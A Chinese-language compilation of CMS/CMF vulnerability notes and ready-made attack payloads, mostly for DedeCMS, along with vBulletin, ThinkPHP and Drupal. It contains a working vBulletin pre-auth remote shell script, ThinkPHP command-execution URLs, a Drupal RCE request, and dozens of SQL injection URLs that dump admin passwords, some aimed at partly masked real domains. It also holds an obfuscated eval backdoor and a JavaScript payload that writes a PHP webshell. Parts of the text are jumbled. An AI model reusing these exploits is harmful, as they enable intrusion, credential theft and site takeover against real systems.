热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

应用安全CMF/CMS漏洞整理

CMS识别云悉http:whatweb.bugscaner.combatch.html CakePHP CakePHP<1.3.51.2.8Cache

CMS识别

云悉
http://whatweb.bugscaner.com/batch.html

 

CakePHP 

CakePHP <= 1.3.5 / 1.2.8 Cache Corruption Exploit 2011-01

vBulletin

CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE 

#POC
#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"
import requests
import sys
if len(sys.argv) != 2:
    sys.exit("Usage: %s " % sys.argv[0])
params = {"routestring":"ajax/render/widget_php"}
while True:
    try:
        cmd = raw_input("vBulletin$")
        params["widgetConfig[code]"] = "echo shell_exec('cmd+'); exit;"
        r = requests.post(url = sys.argv[1], data = params)
        if r.status_code == 200:
            print r.text
        else:
            sys.exit("Exploit failed! :(")
    except KeyboardInterrupt:
        sys.exit("\nClosing shell...")
    except Exception, e:
        sys.exit(str(e))

PHPStudy

WebShell后门
'accept-charset': 'ZWNobyBzeXN0ZW0od2hvYW1pKTsK',
'Accept-Encoding':'gzip,deflate'

ThinkPHP

RCE
Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23

SQL注入

ThinkPHP <5.1.23

CVE-2018-16385

POC:

http://127.0.0.1/tp5.1/public/index/test/index?order[id`,111)|updatexml(1,concat(0x3a,user()),1)%23][]=1
http://127.0.0.1/tp5.1/public/index/test/index?order[id`,'aaa')| updatexml(1,concat(0x3a,user()),1)%23][]=1
 
Thinkphp <= 3.2.3

路径遍历
thinkphp3.0 

可执行命令

查看版本

http://webshell.cc/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D

查看phpinfo信息

http://webshell.cc/index.php/module/action/param1/$%7B@print(phpinfo())%7D

不可执行命令

爆路径

http://webshell.cc/appscn/index.php/module/action/param1/$%7B@print(phpinfo())%7

http://webshell.cc/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7

http://webshell.cc/index.php/module/action/module/param1/$%7B@print(THINK_VERSION)%7D

 

Thinkphp远程代码执行漏洞:
一些常见关键字:例如一些常见的命令touch、whamo、nc、calc.exe等还有一些常见的php函数(phpinfo()等)
thinphp的目录结构一般为/index/?s=
/thinkphp/public/?s=.|think\config/get&name=database.username
/thinkphp/public/?s=.|think\config/get&name=database.password
/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/tp5/public/?s=index/\think\View/display&cOntent=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&cOntent=%3C?php%20phpinfo();?%3E
/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&cOntent=%3C?php%20phpinfo();?%3E
/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
?s=index/\think\module/action/param1/${@phpinfo()}
?s=index/\think\Module/Action/Param/${@phpinfo()}
?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system
post)public/index.php (data)c=exec&f=calc.exe&_method=filter

 

ZZZCMS

CVE-2019-9041

DisCuz ML v3.x COOKIE注入-远程代码执行 yUrO_2132_saltkey=S6RnGn2l; yUrO_3132_language=en'.1.'; 

Drupal

cve-2014-3704

Drupal 7.31 SQL注入

cve-2018-7600 RCE
Request:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id


Response:
应用安全-CMF/CMS漏洞整理

 

Drupal 8.6.9 REST 远程代码执行漏洞(CVE-2019-6340)

 ZCMS

zcms 2.x 后台投稿处 存储型XSS和CSRF漏洞            
ZCMS(JSP) V1.1 登陆绕过&SQL注入&跨站漏洞

74CMS

SQL注入
74cms 逻辑漏洞导致sql注入
74cms_v3.4.20140410逻辑漏洞导致sql注入
74cms V3.4.20140530 逻辑漏洞导致二次sql注入变为普通sql注入
74CMS 20150423逻辑设计缺陷导致的注入、逻辑漏洞

 maccms8

设计逻辑缺陷 -》 导致sql注入

mao10cms

逻辑漏洞可添加超级管理员

siteserver cms

密码找回处漏洞
http://vote.xx.cn/siteserver/forgetPassword.aspx
关闭js
输入用户名:admin
然后一直下一步
然后登陆后台,模板添加一句话,菜刀连接

 aspcms

后台地址泄露

phpwind

v9.0.1
RCE

JeeCMS(Java)

Struts2 RCE

ESPCMS

二次注入(反序列化注入)

Joomla

反序列化(版本低于3.4.5

Dedecms

工具:
鬼哥(旁注)C段利器 v1.5 www.90sec.org
DedeCms recommend.php注入利用工具-p2j.cn
DEDECMS FLINK(By:MEIAM)

dedecms v5.3-v5.6 Get Shell
文件上传导致任意代码执行

绕过验证进入后台
http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
dcug改为当前的验证码,即可直接进入网站后台
前提是得到后台路径

敏感信息泄露
http://www.dedecms.com/plus/search.php?keyword=xxxx&channeltype=-0&orderby=&kwtype=-1&pagesize=10&typeid=0&TotalResult=-336&PageNo=%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3EFuck%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C&plistgo=%C7%E7%CC%EC%D0%A1%D6%FD?
Google Hack - inurl:backupdata*dede_amin

dedecms官方网站管理员账号密码泄露
http://www.dedecms.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294


SQL注入

Google Hack -》
inurl:/plus/flink_add.php 

在magic_quotes_gpc=off时,攻击者可以将恶意SQL语句带入SQL执行,导致dedecms的审核机制被绕过
member/reg_new.php的代码 $sex变量在表单是单选,没做任何过滤

某文件没过滤直接带入sql查询,攻击者在magic_quotes_gpc=off时,可以注射SQL代码,绕过sqlids检测,执行sql语句.
要求会员中心,注册用户登录,magic_quotes_gpc=off,以及php版本要求

由于对参数的变量未作初始化检测及使用了类反射的技巧导致 plus\feedback.php 中变量 $typeid 存在注入风险

http://help.xx.com//plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878
32位MD5减去头5位,减去尾七位,20位MD5密码,前减3后减1,得到16位MD5

http://www.xx.xx.cn//plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6887

http://xx.net/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'or%20mid=@`\'`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111

plus/bookfeedback.php
$catid变量以及$typeid变量未初始化

/member/edit_baseinfo.php -  $addupquery

/plus/search.php
http://xx/plus/search.php?typeid=1&keyword=test
http://localhost/dede/plus/search.php?typeArr[1%201%3d2union%20select%20pwd%20from%20dede_admin]=11&kwtype=0&q=11
http://xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
http://xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

http://localhost/dede7/plus/feedback.php?action=send&aid=1&&comtype=comments&iscOnfirm=yes¬user=1&msg=stage1111&title=yy',1,1,1,0,0,0,'feedback',0,@@version),(9,1,'','
当gpc为on时,line 243的$title被转义两次,进入数据库的时候变成
然后我们引用这条留言:
http://localhost/dede7/plus/feedback.php?action=send&aid=1&&comtype=reply&iscOnfirm=yes¬user=1&msg=stage2222&fid=38
再次引用id 41的留言:

include/shopcar.class.php  --COOKIE

http://www.xx.com///plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

http://xcb.xx.com//plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

http://help.xx.com//plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

http://d.xx.com//plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

http://test.xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

收藏文章功能$title变量未过滤,造成二次注入。
利用步骤(以获取dede_admin.pwd字段的值为例):
1)注册会员,登录,发表文章,文章标题为 
u',char(@`'`), (select pwd from dede_admin))#
获取aid。这里aid=108
/plus/view.php?aid=108
2)    提交请求:
http://u.cn/DedeCMS/plus/stow.php?aid=108&type=001
3)    访问:http://u.cn/DedeCMS/member/mystow.php
点击刚才发布的文章的“推荐“链接,打开如下连接
http://u.cn/DedeCMS/plus/recommend.php?type=29a53fb3c3&aid=108
其中type=29a53fb3c3的 29a53fb3c3 为dede_admin.pwd字段的前10位
4)    后10位使用类似的步骤,不同的是发布的文章标题为:
u',char(@`'`),substring((select pwd from dede_admin),11))#

http://127.0.0.1/dede/member/buy_action.php?product=1' and @`'` and 
1=1* and '1'='1

利用方法 注册用户并且登陆
完了打开http://127.0.0.1/dede/member/edit_baseinfo.php
然后随便写一下
输入验证码 打开BURP 抓包
点击提交
然后再BURP里修改newsafequestion 的值改成1',email=@`'`,uname=(select user()),email='sss
然后提交 之后再打开http://127.0.0.1/dede/member/edit_baseinfo.php
就可以看到自己的、用户名变成了注入之后的结果

打开
http://127.0.0.1/dede/member/flink_main.php#
在连接网址里面写入 http://sss2'),(8,1,@`'`),(8,(select user()),'33333
连接名称随意
这里的8 是我的用户ID 想要查看 必须得知道自己的用户id
这个so easy 查看COOKIE 里面有一个DedeUserID 
我的就是DedeUserID=8 这个一看就知道自己的id什么

因为是update注入
并且用了>ExecuteNoneQuery 所以延时注入都不行 
但是 可以通过一个判断来进行忙注 如果条件成功 那么mtypename='$name' 就会被update了
首先打开
http://127.0.0.1/dede/member/mtypes.php
添加一个分类 记住ID 和原来的分类名称
然后打开
http://127.0.0.1/dede/member/mtypes.php?dopost=save&mtypename[2' or @`'` AND 1%3D1 and (select 'r')%3D'r' and '1'%3D'1]=4
将其中的2改成你的分类ID
完了打开之后 在返回http://127.0.0.1/dede/member/mtypes.php 如果(select 'r')='r'的话 那么分类名称就被改成了4! 这样我们就能来判断是否满足条件了!
可以写一个中专程序
首先访问http://127.0.0.1/dede/member/mtypes.php?dopost=save&mtypename[2' or @`'` AND 1%3D1 and (select 'r')%3D'r' and '1'%3D'1]=4 然后再返回http://127.0.0.1/dede/member/mtypes.php
的内容 这样就可以用工具跑了

http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and @`'` and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

测试方法 
打开http://127.0.0.1/dede/member/soft_add.php
添加软件
然后打开BURP抓包
讲picnum改成typeid2
然后参数写5',1,1,1,@`'`),('-1','7',user() , '3','1389688643', '1389688643', '8'),(1,2,'
就能看到注入结果了

利用方法
"frmUpload" enctype="multipart/form-data" 
action="http://127.0.0.1/dede/member/uploads_edit.php?
dopost=save&title=ss&oldurl=1'.php" method="post">看Oldurl就知道了~
"file" name="addonfile" id="addonfile" size="50">
"mode" type="hidden" value="2"> "btnUpload" type="submit" value="Upload"> http://127.0.0.1/dede/member/content_list.php?channelid=1 打开这里发布 文章标题写上 1111',1,2),(8,136,user(),1,2),(1,2,'3 其他随意 然后提交 完了之后查看一下文章的ID 在打开http://127.0.0.1/dede/plus/stow.php?aid=137&type=11%27 把137改成你的文章ID 测试方法127.0.0.1/dede/plus/guestbook.php? action=save&validate=scuf&msg=1&uname=1&img=111' 吧SCUF改成你自己的验证码 利用方法 先打开127.0.0.1/dede/member/myfriend_group.php随便添加一个 然后看源码里groupname[]中的值 因为没有返回 只能盲注 那么判断是否满足条件就看是否update了原来的数据 这样就easy 执行一下语句 127.0.0.1/dede/member/myfriend_group.php?dopost=save&groupname[3' or @`'` and (select 1)%3D1 and '1]=12222 如果(select 1)=1的话 那个groupname就会被改成12222 上面的3改成你的groupname的ID 测试方法 打开 127.0.0.1/dede/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('个人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree= 吧SLUM改成你的验证码 DedeCMS全版本通杀SQL注入(无任何限制) --/member/buy_action.php 发表文章处,post表单的mtypesid可以注入 /dedecmsnew/member/album_add.php 注入的代码: mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'', '','12333','','','1367930810','1367930810','4','image','test','3')#@`'`' http://www.gdjjs.zjut.edu.cn/plus/search.php?keyword=as&typeArr[111%3D@%60\%27%60%29+and+%28SELECT+1+FROM+%28select+count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select+CONCAT%280x7c,userid,0x7c,pwd%29+from+%60%23@__admin%60+limit+0,1%29,1,62%29%29%29a+from+information_schema.tables+group+by+a%29b%29%23@%60\%27%60+]=a Dedecms 会员中心注入漏洞 注册用户之后验证邮箱完了之后 打开 127.0.0.1/dedecms/member/buy_action.php?product=1',1,2,3,4,5,@`'`),((select user()),(select 1),'4 然后在http://127.0.0.1/dedecms/member/operation.php 就可以查看到返回信息 http://www.xx-xx.com/plus/flink.php? Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\ http://www.xx-xx.com/plus/flink.php? Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\ dedecms SQL盲注漏洞(可以直接update出密码) 需注册 | filter.inc.php里未做过滤 ROOT_PATH/member/pm.php的64行 -- $id变量可控 首先给自己留个言 访问留言对应的id的url可以看到这条留言 http://127.0.0.1/dede/member/pm.php?dopost=read&id=1 然后注入,获取数据库用户 http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((select user()),1,1) ='r',2,1)) -- -@`'` 错误 http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((select user()),1,1) ='X',2,1)) -- -@`'` 获取admin密码 正确 http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((SELECT pwd from dede_admin),1,1) ='f',2,1)) -- -@`'` 错误 http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((SELECT pwd from dede_admin),1,1) ='X',2,1)) -- -@`'` 漏洞测试 此处是一个盲注,为了测试方便,我们直接修复执行语句的文件,打印出执行的语句: echo $this->queryString."
"; http://localhost/member/buy_action.php? POST pid=1&product=card&a=b%26GLOBALS[cfg_dbprefix]=dede_member_operation where mid=9999 or @`'` or (ascii(substring((select pwd from dede_admin limit 0,1),1,1))=97)#%26product=@`'` 注意到 %26 即 & 测试: 添加上传软件 本地地址 http://www.hao123.com 其它乱填就行,添加成功后,再次进入修改界面 软件地址改为: http://www.hao123.com}x{/dede:link}{dede:a text'=x']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));// }xxxx{/dede:a}{dede:link}xxx 注意,这里后面多了 xxx ,就是为了绕过这个正则补丁。 然后执行完全没有压力! 后来测试,在GPC OFF跟 ON下写入的地址有所区别,上面是在ON下写入的。 原因你们懂得。 在 filter.inc.php 中,你们不管 GPC ,全过滤了 addslashes。 而且对这样的$svar[$_k]直接返回错误的值 DedeCMS在注册时对用户名、电子邮箱等限制的很死,唯独对用户笔名没做限制,可填写单引号等,由此导致再次使用笔名入库时二次注入 /member/reg_new.php 约194行 用户笔名处存在注入 DedeCMS-V5.7-UTF8-SP1 sql二次注入 漏洞细节 注册会员,然后跳到商品发布处 DedeCMS-V5.7-UTF8-SP1 sql注入 漏洞细节 进入圈子话题,然后点击我要发帖 在内容出填写:',concat(char(@`'`),(SELECT user())))#,(1, 然后点击提交,发现后台监控,抓取到的sql语句为: INSERT INTO dede_group_posts(gid,tid,first,author,authorid,subject,dateline,message,useip) VALUES('4','11',1,'越界','5','testetstetste','1401949158','',concat(char(@`'`),(SELECT user())))#,(1,','10.65.100.235') 查看数据库,即可看到此语句正常执行: url:http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php post_data:dopost=return&code=alipay&out_trade_no=M1T1RN1' or concat(char(@`'`),(SELECT user())))# DedeCMS-V5.7-UTF8-SP1 新绕过思路+sql注入+任意订单支付合集 url:http://xx.xx.dedecms.com/plus/carbuyaction.php post_data: dopost=return&code=alipay&out_trade_no=S-P0098RN0098' and char("'")=(SELECT user())#&total_fee=&sign=06f4c5710c9faa468a0628bab208d77d&trade_status=TRADE_FINISHED DedeCMS-V5.7-SP1(2014-07-25)sql注入+新绕过思路 注册用户,将一个商品加入购物车 http://dzb.xx.edu.cn/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\%27and+char%28@%60%27%60%29+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat%280x3C6162633E,group_concat%280x7C,userid,0x3a,pwd,0x7C%29,0x3C2F6162633E%29,5,6,7,8,9%20from%20%60%23@__admin%60%23%22; http://222.xx.68.166/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa%5c%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,md5(0x40776562736166657363616E40),5,6,7,8,9%20from%20`%23@__admin`%23') http://www.xx.cn//plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23%22; XSS v5.7 友情链接申请的网址填写没有进行过滤和限制 - Javascript:alert(document.COOKIE) www.gd-linux.com/plus/guestbook.php?action=admin&job=editok&id=100&msg= /plus/guestbook.php /plus/guestbook.php?gotopagerank=&totalresult=1300&pageno=5 http://localhost/plus/feedback.php?action=send&aid=1&&comtype=comments&iscOnfirm=yes¬user=1&msg=stage1111&title= 注册会员登录-空间设置-空间公告-源码 忘记过滤 <img 标签了. Location: /uploads/images/swfupload/swfupload.swf 漏洞文件为:http://www.dedecms.com/images/swfupload/swfupload.swf 这个flash文件存在漏洞,此文件漏洞可参考:https://nealpoole.com/blog/2012/05/xss-and-csrf-via-swf-applets-swfupload-plupload/ 构造XSS攻击 http://www.dedecms.com/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.COOKIE%29}}// /uploads/dede/catalog_do.php --XSS+CSRF DedeCMS-V5.7-UTF8-SP1 块存储型xss 可打管理员 getshell成功测试 注册账户,然后登陆: DedeCMS-V5.7-UTF8-SP1 变反射为持久xss 拿shell 上次提交了一个个人圈子的反射型xss,但是乌云没有理会我,一直到现在还没有审核,这次我重新在找一个,那么就利用这个,把反射型变成一个持久类型,然后拿后台shell 首先登陆用户,然后创建圈子 http://xx.xx.dedecms.com/plus/recommend.php?aid=1&action=sendmail&title=%3Ciframe%20src=//www.baidu.com%3E%3C/iframe%3E http://xx.xx.dedecms.com/plus/recommend.php?aid=1&action=sendmail&title=%3CSCRIPT%20SRC=//ha.ckers.org/xss.js%3E%3C/SCRIPT%3E 首先购买商品 邮件处 留言处 确认后就可以了 等待管理员进入后台维护 管理员一旦点击收货人的名字或者数量的详细就会触发XSS dedecms 全版本!xss跨站一枚! referer构造触发! $_SERVER['HTTP_REFERER'] 未过滤直接输出到js中!由于官方默认数据库均有一个投票记录 所以基本上都可以触发此xss $_SERVER['HTTP_REFERER']明显是不安全的 比如我在本地写一个文件test.html /uploads//plus/feedback.php?aid=1 title= exp: var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml'); } } else if(window.ActiveXObject) { var versiOns= ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i) { try { request = new ActiveXObject(versions[i]); } catch(e) {} } } xmlhttp=request; getshell(); function getshell(){ var postStr="fmdo=edit&backurl=&activepath=%2Fdedecmsfullnew%2Fuploads%2Fuploads&filename=paxmac.php&str=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E&B1=++%B1%A3+%B4%E6++";//url需要自己修改 xmlhttp.open("POST", "http://paxmac/dedecmsfullnew/uploads/dede/file_manage_control.php", true);//url需要自己修改 xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Content-length", postStr.length); xmlhttp.setRequestHeader("Connection", "close"); xmlhttp.send(postStr); } CSRF DedeCMS-V5.7-UTF8-SP1 csrf getshell 无需会员中心 网站logo处提交">_<'"<> Dedecms可CSRF GetShell(第二弹,附POC) 源码编辑页中无token,可CSRF修改源码导致GetShell URL跳转 http://www.dedecms.com/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D 文件包含 首先利用COOKIE修改工具,加上 code=alipay 然后访问 http://www.xxx.com/plus/carbuyaction.php?dopost=return&code=../../uploads/userup/xx/myface.gif%00 直接包含成功 利用条件为GPC OFF ,或者某些环境下的截断。 可以在会员中心里上传个图片木马进行拿shell。 还可以包含dede自身文件进行更多利用 变量覆盖漏洞,可重装网站 dedecms的install/index.php中,有这样一段代码 foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); } 任何传入的变量都会被定义,导致变量覆盖漏洞,可以通过覆盖insLockfile变量,破坏原来程序的逻辑,重装网站。 POC: http://127.0.0.1/dede/install/index.php?insLockfile=1 越权 DEDEcms SQL注入漏洞导致可以修改任意用户密码 测试方法 如下 1 首先注册一个用户 2 找回密码 选择通过安全问题取回 3 填写完毕信息之后点击确认 4 然后点击确认 会跳转到这样一个URL上 http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=elLSvQu8 然后我们就可以构造EXP如下了 http://127.0.0.1/dedecms/member/resetpassword.php ?dopost=getpasswd &id=xx' or userid='diehack' and '9 &key=SULMhhPU&setp=2&pwd=1&pwdok=1 把上面url中的9改成 之前跳转到链接的id参数,然后把key也改成之前跳转的链接的key参数 然后userid可以修改成你需要修改密码的用户 pwd和pwdok就是需要修改成的密码 必须保持一样 这个注入的难点在于 $mid = preg_replace("#[^0-9]#", "", $id); 这里匹配出了所有数字 如果我们实用忙注 那么需要subtring(xx,1,2)来逐个获取 而且又不支持报错显示 不然就可以报错注入了 想要利用 至少需要注册1K个账户 才能利用起来 利用难度比较大 RCE 会员中心开放,注册一个号。 默认情况下,注册的号码需要邮件验证,但通常没法收取邮件的,所以没法激活,什么也不能操作 激活函数 index_do.php 离线爆破,很快会有结果。不过这里的py效率不高,也可以直接生成字典。方便秒查 A-Z a-z A-Z A-Z a-z 1000-9999 A-Z (1-1000)注册时 id 结果出来后: OeQDg2992Z--8--aaaaaa@21cn.com 943ea8a69319e9dd17bc3b8245631300 http://127.0.0.1/dede/member/index_do.php?fmdo=checkMail&mid=8&userhash=943ea8a69319e9dd17bc3b8245631300 会员激活成功,可以进入下一步操作 逻辑漏洞 Dedecms全版本后台验证码逻辑漏洞可导致暴力破解 dedecms 最新版!验证码绕过!验证码等于无效 根据dedecms源码 查到dedecms将session保存到文件中! DeDecms 任意用户登录,管理员密码重置漏洞 -20180109(最新版) Webshell写入: 